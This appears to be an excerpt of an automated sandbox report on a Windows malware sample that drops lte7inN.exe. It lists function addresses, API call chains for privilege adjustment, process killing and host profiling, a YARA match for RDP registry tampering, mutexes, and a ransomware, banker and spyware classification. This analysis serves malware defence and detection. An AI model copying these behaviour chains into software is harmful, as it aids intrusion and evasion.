Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA28279	16_2_6CA28279
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA5A386	16_2_6CA5A386
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA8C38C	16_2_6CA8C38C
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CAC93C9	16_2_6CAC93C9
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA8F32A	16_2_6CA8F32A
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA98368	16_2_6CA98368
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA26374	16_2_6CA26374
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA8E35C	16_2_6CA8E35C
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_031F9051	16_2_031F9051
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_03231358	16_2_03231358
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_031FB384	16_2_031FB384
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_031FD294	16_2_031FD294
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_03208124	16_2_03208124
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_0323516D	16_2_0323516D
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_031FC194	16_2_031FC194
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_0323907A	16_2_0323907A
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_032030B4	16_2_032030B4
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_032540E8	16_2_032540E8
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_0323C7A6	16_2_0323C7A6
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_0323E7A4	16_2_0323E7A4
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_032356EF	16_2_032356EF
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_032016F4	16_2_032016F4
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_03235434	16_2_03235434
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_0321B474	16_2_0321B474
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_031FA444	16_2_031FA444
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_0322C4C4	16_2_0322C4C4
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_03234B51	16_2_03234B51
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_03255BE1	16_2_03255BE1
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_03234AA4	16_2_03234AA4
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_03200AC4	16_2_03200AC4
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_03259922	16_2_03259922
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_0322E9C4	16_2_0322E9C4
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_031FD814	16_2_031FD814
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_031FB874	16_2_031FB874
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_0324C8EE	16_2_0324C8EE
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_03238E46	16_2_03238E46
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_031FDEA4	16_2_031FDEA4
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_03234EC3	16_2_03234EC3
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_03255D05	16_2_03255D05
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_03238C12	16_2_03238C12
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_031FBCE4	16_2_031FBCE4
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_1000F100	16_2_1000F100
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_10040056	16_2_10040056
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_1000A090	16_2_1000A090
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_1005B0C4	16_2_1005B0C4
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_1003C149	16_2_1003C149
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_10003170	16_2_10003170
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_10004270	16_2_10004270
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_10038334	16_2_10038334
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_10002360	16_2_10002360
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_1003C410	16_2_1003C410
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_10001420	16_2_10001420
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_10022450	16_2_10022450
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_100334A0	16_2_100334A0
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_1003C6CB	16_2_1003C6CB
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_100086D0	16_2_100086D0
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_10045780	16_2_10045780
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_10043782	16_2_10043782
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_100047F0	16_2_100047F0
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_10002850	16_2_10002850
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_100538CA	16_2_100538CA
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_100608FE	16_2_100608FE
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_100359A0	16_2_100359A0
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_1003BA80	16_2_1003BA80
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_10007AA0	16_2_10007AA0
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_1003BB2D	16_2_1003BB2D
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_1005CBBD	16_2_1005CBBD
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_1003FBEE	16_2_1003FBEE
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_10002CC0	16_2_10002CC0
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_1005CCE1	16_2_1005CCE1
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_1003FE22	16_2_1003FE22
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_10004E80	16_2_10004E80
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_1003BE9F	16_2_1003BE9F
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA65835	17_2_6CA65835
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA21112	17_2_6CA21112
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA29CCA	17_2_6CA29CCA
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CAA9CC5	17_2_6CAA9CC5
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CAC1CD1	17_2_6CAC1CD1
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA7DD8F	17_2_6CA7DD8F
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA7EDF5	17_2_6CA7EDF5
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA6BDD0	17_2_6CA6BDD0
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA3CD32	17_2_6CA3CD32
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CAB1D12	17_2_6CAB1D12
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA89D7B	17_2_6CA89D7B
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA9BD48	17_2_6CA9BD48
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CAB6D46	17_2_6CAB6D46
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA3AED7	17_2_6CA3AED7
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA99E12	17_2_6CA99E12
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CAC8E6E	17_2_6CAC8E6E
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA28E60	17_2_6CA28E60
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA93E4C	17_2_6CA93E4C
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA3BFD7	17_2_6CA3BFD7
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CAB7F37	17_2_6CAB7F37
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA3DF3F	17_2_6CA3DF3F
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA3387C	17_2_6CA3387C
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CAA5990	17_2_6CAA5990
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CAA99C6	17_2_6CAA99C6
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA609DA	17_2_6CA609DA
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CAAB9D7	17_2_6CAAB9D7
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CAC1933	17_2_6CAC1933
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA46973	17_2_6CA46973
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CAACAA5	17_2_6CAACAA5
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA37BAA	17_2_6CA37BAA
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA35BBD	17_2_6CA35BBD
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA2EBF4	17_2_6CA2EBF4
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA90BCC	17_2_6CA90BCC
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CAC248B	17_2_6CAC248B
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CAC149E	17_2_6CAC149E
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA2B41A	17_2_6CA2B41A
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA505B3	17_2_6CA505B3
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA6B5D7	17_2_6CA6B5D7
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CABB503	17_2_6CABB503
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA34544	17_2_6CA34544
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA986B7	17_2_6CA986B7
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA68689	17_2_6CA68689
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA94698	17_2_6CA94698
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA35698	17_2_6CA35698
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA9F6C9	17_2_6CA9F6C9
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CAB67F5	17_2_6CAB67F5
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA6D768	17_2_6CA6D768
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CAA974B	17_2_6CAA974B
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CAC20A3	17_2_6CAC20A3
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA4E0D8	17_2_6CA4E0D8
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA92025	17_2_6CA92025
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA97003	17_2_6CA97003
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA8B07C	17_2_6CA8B07C
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA7A192	17_2_6CA7A192
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA2E1C8	17_2_6CA2E1C8
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CAB62A6	17_2_6CAB62A6
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA382B2	17_2_6CA382B2
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA862E8	17_2_6CA862E8
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CAC42E1	17_2_6CAC42E1
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CAA026A	17_2_6CAA026A
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA83266	17_2_6CA83266
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA28279	17_2_6CA28279
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA5A386	17_2_6CA5A386
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA8C38C	17_2_6CA8C38C
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CAC93C9	17_2_6CAC93C9
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA8F32A	17_2_6CA8F32A
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA98368	17_2_6CA98368
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA26374	17_2_6CA26374
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA8E35C	17_2_6CA8E35C

Source: Joe Sandbox View	Dropped File: C:\Program Files (x86)\pR4cysw\MSVCP140.dll 885A0A146A83B0D5A19B88C4EB6372B648CFAED817BD31D8CD3FB91313DEA13D
Source: Joe Sandbox View	Dropped File: C:\Program Files (x86)\pR4cysw\VCRUNTIME140.dll F10727074BCB4375F276E48DA64029D370299768536157321FB4BD9B1997B898

Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Code function: String function: 00403620 appears 57 times
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Code function: String function: 00444AB2 appears 35 times
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: String function: 6CAB9148 appears 46 times
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: String function: 6CA2CB4D appears 878 times
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: String function: 6CAA7820 appears 148 times
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: String function: 6CA414FC appears 136 times
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: String function: 6CA2C822 appears 40 times
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: String function: 6CAA7ECE appears 72 times
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: String function: 10039AC0 appears 60 times
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: String function: 03232AE4 appears 58 times
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: String function: 6CA42962 appears 66 times
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: String function: 6CAA3864 appears 346 times
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: String function: 6CAA1F84 appears 938 times
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: String function: 6CAA9165 appears 42 times
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: String function: 6CAA23D3 appears 38 times

Source: 3Kel6xErOk.exe, 00000005.00000000.1278953650.00000000006E9000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: OriginalFilenameminigame.exe0 vs 3Kel6xErOk.exe
Source: 3Kel6xErOk.exe, 00000005.00000002.2575909789.0000000003720000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs 3Kel6xErOk.exe
Source: 3Kel6xErOk.exe, 00000005.00000002.2576015914.0000000003986000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs 3Kel6xErOk.exe
Source: 3Kel6xErOk.exe	Binary or memory string: OriginalFilenameminigame.exe0 vs 3Kel6xErOk.exe

Source: 3Kel6xErOk.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 16.2.lte7inN.exe.31f9c24.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_RDP author = ditekSHen, description = Detects executables embedding registry key / value combination manipulating RDP / Terminal Services
Source: 16.2.lte7inN.exe.2f49c24.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_RDP author = ditekSHen, description = Detects executables embedding registry key / value combination manipulating RDP / Terminal Services
Source: 16.2.lte7inN.exe.31f9c24.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_RDP author = ditekSHen, description = Detects executables embedding registry key / value combination manipulating RDP / Terminal Services
Source: 16.2.lte7inN.exe.2f49c24.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_RDP author = ditekSHen, description = Detects executables embedding registry key / value combination manipulating RDP / Terminal Services

Source: classification engine

Classification label: mal100.rans.bank.troj.spyw.evad.winEXE@6/8@3/3

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe

Code function: 16_2_03212F74 GetProcessHeap,RtlAllocateHeap,VirtualAlloc,VirtualAlloc,VirtualFree,VirtualProtect,GetLastError,FormatMessageW,LocalAlloc,OutputDebugStringA,

16_2_03212F74

Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Code function: 5_2_032A1776 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,CloseHandle,AdjustTokenPrivileges,	5_2_032A1776
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Code function: 5_2_032A18A4 AdjustTokenPrivileges,	5_2_032A18A4
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Code function: 5_2_032A18EE OpenProcess,OpenProcessToken,CloseHandle,AdjustTokenPrivileges,GetLengthSid,SetTokenInformation,OpenProcess,OpenProcessToken,CloseHandle,AdjustTokenPrivileges,GetLengthSid,SetTokenInformation,OpenProcess,OpenProcessToken,CloseHandle,AdjustTokenPrivileges,GetLengthSid,SetTokenInformation,OpenProcess,OpenProcessToken,CloseHandle,AdjustTokenPrivileges,GetLengthSid,SetTokenInformation,	5_2_032A18EE
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Code function: 5_2_10001772 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,CloseHandle,AdjustTokenPrivileges,	5_2_10001772
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Code function: 5_2_100018A0 AdjustTokenPrivileges,	5_2_100018A0
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Code function: 5_2_100018EA OpenProcess,OpenProcessToken,CloseHandle,AdjustTokenPrivileges,GetLengthSid,SetTokenInformation,OpenProcess,OpenProcessToken,CloseHandle,AdjustTokenPrivileges,GetLengthSid,SetTokenInformation,OpenProcess,OpenProcessToken,CloseHandle,AdjustTokenPrivileges,GetLengthSid,SetTokenInformation,OpenProcess,OpenProcessToken,CloseHandle,AdjustTokenPrivileges,GetLengthSid,SetTokenInformation,	5_2_100018EA
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_03220554 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,CloseHandle,CreateToolhelp32Snapshot,LocalAlloc,Process32First,OpenProcess,K32EnumProcessModules,K32GetProcessImageFileNameA,lstrcpy,lstrcat,OpenProcessToken,GetTokenInformation,GlobalAlloc,GetTokenInformation,LookupAccountSidA,LookupAccountSidA,lstrcpy,GlobalFree,CloseHandle,lstrcpy,lstrlen,lstrlen,LocalSize,LocalReAlloc,lstrlen,lstrlen,lstrlen,lstrlen,lstrlen,lstrlen,K32GetProcessMemoryInfo,lstrcpy,CreateFileA,GetFileSize,CloseHandle,CloseHandle,Process32Next,LocalReAlloc,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,CloseHandle,CloseHandle,	16_2_03220554
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_03220FC4 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,OpenProcess,K32GetProcessImageFileNameA,CloseHandle,OpenProcess,TerminateProcess,lstrlen,Sleep,DeleteFileA,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,Sleep,EnumWindows,	16_2_03220FC4
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_10027530 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,CloseHandle,CreateToolhelp32Snapshot,LocalAlloc,Process32First,OpenProcess,K32EnumProcessModules,K32GetProcessImageFileNameA,lstrcpy,lstrcat,OpenProcessToken,GetTokenInformation,GlobalAlloc,GetTokenInformation,LookupAccountSidA,LookupAccountSidA,lstrcpy,GlobalFree,CloseHandle,lstrcpy,lstrlen,lstrlen,LocalSize,LocalReAlloc,lstrlen,lstrlen,lstrlen,lstrlen,lstrlen,lstrlen,K32GetProcessMemoryInfo,lstrcpy,CreateFileA,GetFileSize,CloseHandle,CloseHandle,Process32Next,LocalReAlloc,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,CloseHandle,CloseHandle,	16_2_10027530
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_10027FA0 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,OpenProcess,K32GetProcessImageFileNameA,CloseHandle,OpenProcess,TerminateProcess,lstrlen,Sleep,DeleteFileA,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,Sleep,EnumWindows,	16_2_10027FA0

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe

Code function: 16_2_0322C4C4 RegOpenKeyExA,RegCloseKey,GetTickCount,gethostname,GetUserNameA,GetLastError,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,lstrcpy,lstrlen,OpenSCManagerA,wsprintfA,OpenServiceA,QueryServiceStatus,wsprintfA,lstrlen,GetModuleFileNameA,SHGetSpecialFolderPathA,FindFirstFileA,FindNextFileA,FindNextFileA,FindNextFileA,EnumDisplaySettingsA,_strftime,OpenSCManagerA,QueryServiceStatus,OpenSCManagerA,QueryServiceStatus,GetLocaleInfoW,WideCharToMultiByte,WideCharToMultiByte,

16_2_0322C4C4

Source: C:\Users\user\Desktop\3Kel6xErOk.exe

Code function: 5_2_032A1802 CreateToolhelp32Snapshot,_memset,Process32FirstW,lstrcmpiW,Process32NextW,CloseHandle,

5_2_032A1802

Source: C:\Users\user\Desktop\3Kel6xErOk.exe

Code function: 5_2_0043A2EF __EH_prolog3_GS,CoInitialize,CoCreateInstance,std::_Container_base12::~_Container_base12,CoUninitialize,

5_2_0043A2EF

Source: C:\Users\user\Desktop\3Kel6xErOk.exe

Code function: 5_2_00417960 LoadLibraryExW,LoadLibraryExW,FindResourceW,LoadResource,SizeofResource,MultiByteToWideChar,FreeLibrary,

5_2_00417960

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe

Code function: 16_2_03223A82 StartServiceA,CloseServiceHandle,CloseServiceHandle,Sleep,lstrlen,LocalSize,lstrlen,LocalReAlloc,lstrlen,lstrlen,lstrlen,LocalFree,

16_2_03223A82

Source: C:\Users\user\Desktop\3Kel6xErOk.exe

File created: C:\Program Files (x86)\pR4cysw

Jump to behavior

Source: C:\Users\user\Desktop\3Kel6xErOk.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\long[1].bmp

Jump to behavior

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Mutant created: \Sessions\1\BaseNamedObjects\4246/;/36"37<52
Source: C:\Windows\System32\OpenWith.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7296:120:WilError_03
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Mutant created: \Sessions\1\BaseNamedObjects\MyProgramMutex

Source: 3Kel6xErOk.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\3Kel6xErOk.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\3Kel6xErOk.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 3Kel6xErOk.exe

ReversingLabs: Detection: 15%

Source: lte7inN.exe	String found in binary or memory: <!--StartFragment -->
Source: lte7inN.exe	String found in binary or memory: <!--StartFragment -->
Source: lte7inN.exe	String found in binary or memory: <!--StartFragment -->
Source: lte7inN.exe	String found in binary or memory: <!--StartFragment -->
Source: 3Kel6xErOk.exe	String found in binary or memory: %d.%d.%d.%dkernel32LoadLibraryExA\/AddDllDirectoryauthauth-intauth-confnonce="realm="algorithm=qop="00000001AUTHENTICATEmd5-sessusername="%s",realm="%s",nonce="%s",cnonce="%s",nc="%s",digest-uri="%s",response=%s,qop=%snoncestalerealmopaqueqopalgorithmMD5-sessMD5SHA-256SHA-256-SESSSHA-512-256SHA-512-256-SESSuserhash%s:%s:%s%s:%s:%08x:%s:%s:%susername="%s", realm="%s", nonce="%s", uri="%s", cnonce="%s", nc=%08x, qop=%s, response="%s"username="%s", realm="%s", nonce="%s", uri="%s", response="%s"%s, opaque="%s"%s, algorithm="%s"%s, userhash=trueserver response timeoutselect/poll errorcached response data too big to handleresponse reading failedExcessive server response line length received, %zd bytes. Stripping
Source: 3Kel6xErOk.exe	String found in binary or memory: set-addPolicy
Source: 3Kel6xErOk.exe	String found in binary or memory: id-cmc-addExtensions

Source: unknown	Process created: C:\Users\user\Desktop\3Kel6xErOk.exe "C:\Users\user\Desktop\3Kel6xErOk.exe"
Source: unknown	Process created: C:\Windows\System32\OpenWith.exe C:\Windows\system32\OpenWith.exe -Embedding
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Process created: C:\Program Files (x86)\pR4cysw\lte7inN.exe "C:\Program Files (x86)\pR4cysw\lte7inN.exe"
Source: unknown	Process created: C:\Program Files (x86)\pR4cysw\lte7inN.exe "C:\Program Files (x86)\pR4cysw\lte7inN.exe"
Source: unknown	Process created: C:\Program Files (x86)\pR4cysw\lte7inN.exe "C:\Program Files (x86)\pR4cysw\lte7inN.exe"
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Process created: C:\Program Files (x86)\pR4cysw\lte7inN.exe "C:\Program Files (x86)\pR4cysw\lte7inN.exe"	Jump to behavior

Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Section loaded: dsound.dll	Jump to behavior
